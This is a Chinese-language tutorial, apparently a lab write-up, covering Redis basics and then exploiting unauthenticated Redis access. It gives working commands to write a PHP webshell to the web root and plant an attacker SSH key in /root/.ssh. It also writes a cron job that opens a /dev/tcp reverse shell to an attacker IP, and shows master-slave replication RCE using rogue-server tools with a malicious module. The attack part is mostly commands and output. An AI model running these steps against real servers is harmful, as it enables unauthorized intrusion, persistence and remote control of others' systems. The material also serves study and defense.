一.Redis介绍

Redis(全称为Remote Dictionary Server)是一个开源的高性能键值对存储系统,具有快速、灵活和可扩展的特性。它是一个基于内存的数据结构存储系统,可以用作数据库、缓存和消息代理。

二.Redis基本使用
基本命令
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中的所有键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次保存操作
flushall # 删除所有数据
del key # 删除键key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello world"
设置键和值
set 键 值

列出所有键
keys *

列出所有值
需要写个脚本
#!/bin/bash
# 连接到远程 Redis 服务器
REDIS_HOST="192.168.100.118"
REDIS_PORT="6379"
# 获取所有键并打印键值对
redis-cli -h $REDIS_HOST -p $REDIS_PORT KEYS '*' | while read key; do
value=$(redis-cli -h $REDIS_HOST -p $REDIS_PORT GET "$key")
echo "$key: $value"
done
三.Redis未授权
漏洞描述:
默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis
Redis还支持本地存储,也就导致任意文件写入,攻击者在未授权访问以root身份运行的Redis时可将ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys 文件中,进而通过对应私钥直接登录目标服务器
漏洞产生条件:
Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
没有设置密码认证,可以免密码远程登录Redis服务
以root身份运行Redis
进入redis,首先关注的是版本号,然后是路径,
先根据版本号找对应的漏洞,
看路径是看出他运行在那种操作系统,windows还是Linux,
windows上只能写webshell,因为反弹shell只有主从复制和写历史任务,而主从复制只有linux上才有,

四.Redis多种利用方式
当我们拿到Redis服务的权限时,要想进一步进行利用可以用以下几种方式:
1、Redis写入Webshell
当redis-server以非root身份运行时,无法将/var/spool/cron/以及/root/.ssh设置为本地存储文件夹但可以写入一句话木马
192.168.100.118:6379> config set dir /tmp
OK
192.168.100.118:6379> set shell "<?php phpinfo();?>"
OK
192.168.100.118:6379> config set dbfilename shell.php
OK
192.168.100.118:6379> save
OK但是这里保存有点问题
原因:Redis 的
SAVE命令保存的是 RDB 二进制文件,它包含数据库的元数据和数据,所以会出现乱码。Redis 在执行
SAVE命令时,会将数据存储到一个二进制格式的 RDB 文件中,该格式包含:文件头(
REDIS0007表示 RDB 格式版本 7)Redis 版本信息、时间戳、键值数据等。
解决:使用
redis-cli导出键值对内容,并通过重定向保存为文本文件。

绝对路径写webshell
192.168.100.118:6379> config set dir /var/www/html
OK
192.168.100.118:6379> config set dbfilename shell.php
OK
192.168.100.118:6379> set xz "\n\n\n<?php phpinfo();?>\n\n\n"
OK
192.168.100.118:6379> get xz
"\n\n\n<?php phpinfo();?>\n\n\n"
192.168.100.118:6379> save
OK
192.168.100.118:6379> 
查看靶机
这里的set xz "\n\n\n<?php phpinfo();?>\n\n\n"
就是为了有时候php解析文件遇到乱码会报错,所以添加了换行

2、Redis写密钥登陆主机
漏洞原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
利用条件:redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入
kali生成密钥文件
id_ed25519 是私钥
id_ed25519.pub 是公钥

靶机还没ssh目录

先在靶机配置好目录和认证文件

然后操作redis
192.168.100.118:6379> config set dir /root/.ssh
OK
192.168.100.118:6379> config set dbfilename authorized_keys
OK
192.168.100.118:6379> set sshkey "\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFX1ZljZQS2JcmxBw4f7tvHd178H3+kali\n\n\n"
OK
192.168.100.118:6379> save
OK
192.168.100.118:6379> 
查看靶机
公钥已经写进去了

使用私钥去登录

flushall # 删除所有数据
3、利用计划任务反弹shell
set shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n" * 号表示计划任务的时间
Config set dir /var/spool/cron/
Config dbfilename root
save 192.168.100.118:6379> config set dir /var/spool/cron
192.168.100.118:6379> config set dbfilename root
192.168.100.118:6379> SET shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n"
192.168.100.118:6379> save
这个写计划任务有点问题,
SET shell "\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1 \n\n"

这一步在redis中写的话,在靶机的文件中是乱码,没法执行,所以换了一种方法
另一种方法

redis-cli -h 192.168.100.118 -p 6379 SET shell $'\n\n\n* * * * * bash -i >& /dev/tcp/192.168.100.100/10000 0>&1\n\n\n'
OK
redis-cli -h 192.168.100.118 -p 6379 --raw GET shell > /var/spool/cron/root

然后再去redis中输入save保存

查看靶机已经写进去计划任务了

反弹shell也收到了

4、主从复制RCE
漏洞原理:
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。
└─# python3 redis-rogue-server.py -h
@copyright n0b0dy @ r3kapig
Usage: redis-rogue-server.py [options]
Options:
-h, --help show this help message and exit
-h, --help 显示此帮助消息并退出
--rhost=REMOTE_HOST target host
--rhost=REMOTE_HOST 目标主机
--rport=REMOTE_PORT target redis port, default 6379
--rport=REMOTE_PORT 目标 redis 端口,默认 6379
--lhost=LOCAL_HOST rogue server ip
--lhost=LOCAL_HOST 恶意服务器 ip
--lport=LOCAL_PORT rogue server listen port, default 21000
--lport=LOCAL_PORT 恶意服务器监听端口,默认 21000
--exp=EXP_FILE Redis Module to load, default exp.so
--exp=EXP_FILE 要加载的 Redis 模块,默认 exp.so
-v, --verbose Show full data stream
-v, --verbose 显示完整数据流
--passwd=RPASSWD target redis password
--passwd=RPASSWD 目标 redis 密码python3 redis-rogue-server.py --rhost 192.168.100.118 --lhost 192.168.100.100
然后让询问What do u want, [i]nteractive shell or [r]everse shell: i
i 是交互式shell

What do u want, [i]nteractive shell or [r]everse shell: r
r 是反弹shell

收到反弹shell

提升交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
如果存在密码可以使用下面这个工具。
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
先将module列表清空

开启监听
python3 redis_rogue_server.py -v -path ../redis-rogue-server/exp.so


这时靶机的redis就会去从kali那边把module复制过来

等他复制完后

然后就可以执行反弹shell了
system.rev 192.168.100.100 10000

kali收到反弹shell

-.-
评论区